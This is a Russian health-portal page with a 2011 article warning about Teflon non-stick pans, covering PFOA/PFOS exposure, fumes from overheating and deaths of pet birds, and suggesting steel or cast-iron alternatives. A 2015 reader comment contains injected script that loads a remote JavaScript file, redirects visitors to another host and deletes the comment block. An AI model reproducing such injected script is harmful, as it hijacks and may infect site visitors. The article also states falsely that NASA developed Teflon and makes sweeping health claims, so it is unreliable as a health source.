Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Не все сковородки одинако...  >>  Не все сковородки одинаково полезны
 
Обратная связь
 

Не все сковородки одинаково полезны

Размер шрифта
15 июля 2011 08:43
  • google_analytics: false
  • Нравится

Одна из примет последних десятилетий – посуда с антипригарным покрытием. Благодаря этому подарку прогресса мы успели разучиться отдирать толстый слой пригоревшего масла со сковородок и противней. Золушкин труд отменило НАСА: именно для шаттлов было разработано покрытие, известное ныне всему миру под названием тефлон. Однако недавние исследования показали – тефлон может быть очень опасен.

Екатерина Олейникова / «Здоровье инфо»

Выяснилось, что высокий уровень перфтороктановой кислоты (используемой для изготовления тефлонового покрытия) в крови повышает риск развития артрита на 40%. Ученые работали с людьми, живущими в районе химического завода в Огайо. В окрестных водах было отмечено высокое содержание перфтороктановой (PFOA) и перфтороктансульфоновой (PFOS) кислот. Эти кислоты относятся к классу устойчивых органических загрязнителей, то есть на протяжении многих лет не выводятся из почвы, воды и человеческого организма. 

Впрочем, на опасность тефлона указывали давно. У женщин, которые долго не могли забеременеть, были обнаружены в крови высокие концентрации все тех же PFOA и PFOS. Женщинам с подобным составом крови в среднем требовалось на целый год больше, чтобы забеременеть, в сравнении с теми, у кого подобных проблем не было.

Еще более ужасны последствия для детей. Воздействие производных тефлона подрывает иммунитет, повышает риск развития болезней печени, панкреатита, рака яичек и молочной железы. Начинаются изменения в эндокринной системе, и гормоны, отвечающие за репродуктивную функцию, вырабатываются хуже. 

Американское Агентство по защите окружающей среды обвинило компанию Дюпон в том, что та намеренно не изучает влияние тефлона на организм человека. И более того, скрывает результаты исследований о том, что компоненты тефлона угрожают здоровью человека и его репродуктивной функции.

В чем же дело?

В обычном состоянии тефлон инертен. По химической стойкости он превосходит золото, и ни одна кислота или щелочь не в силах его растворить. Вода, жиры, растворители – тефлону все не по чем. У чудо-материала только одно слабое место – температура. При нагревании свыше 260 градусов по Цельсию тефлон распадается, и опасные компоненты выходят в воздух.

Разогревая сковородку, вы только ускоряете глобальное потепление: четырехфтористый углерод, который испаряется со сковородки при нагревании до 300 градусов в 6000 раз активнее углекислого газа. 

Тефлоновое покрытие начинает плавиться при температуре в 260 градусов по Цельсию и полностью распадается при температуре в 349 градусов. Газы, испаряющиеся с поверхности сковродки, настолько опасны, что, например, комнатные птицы с их нежной дыхательной системой могут погибнуть, очутившись на кухне с перегретой на огне сковородой. Тефлоновая сковородка, забытая на плите, убивает канарейку за сутки. 

Что же делать, если вы пока не готовы расстаться со своей сковородой? Запомните главное правило: никогда не нагревайте ее до высоких температур. Если вы ничего не готовите, не оставляйте сковороду на печке или в духовке. А лучше вообще не используйте эту посуду для выпечки.

Тефлоновой сковороде можно легко подобрать альтернативу. Например, посуда из нержавеющей стали. Пища на ней поджаривается лучше за счет прямого соприкосновения продукта и металлической поверхности, чего не позволяет посуда с тефлоновым покрытием.

Еще один вариант: чугун. Чтобы пища на такой сковороде не пригорала, налейте растительное масло и поставьте в духовку. Масло впитается в стенки сковороды сделает ее антипригарной.

И, наконец, самый здоровый путь: откажитесь от жареной пищи. Навсегда. Готовы на такую жертву? 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:10

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
История пациента. Максим, горнолыжник   История пациента. Александр, вело-спортсмен   История пациента. Владимир, менеджер банка   История пациента. Екатерина Ивановна  
14 июля 2011Тефлоновое покрытие приводит к артриту 19 декабря 2012Газированные напитки увеличивают риск артрита
 
07 мая 2013Удобно готовить на антипригарных покрытиях? Наверное, но скоро вам придется менять сустав! 10 февраля 2012Артритом чаще болеют жители бедных районов
 

Слайдшоу

1
Вся правда о ревматоидном артрите
Вся правда об остеоартрозе
Когда колени надо менять

Тесты

Безопасна ли ваша кухня?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.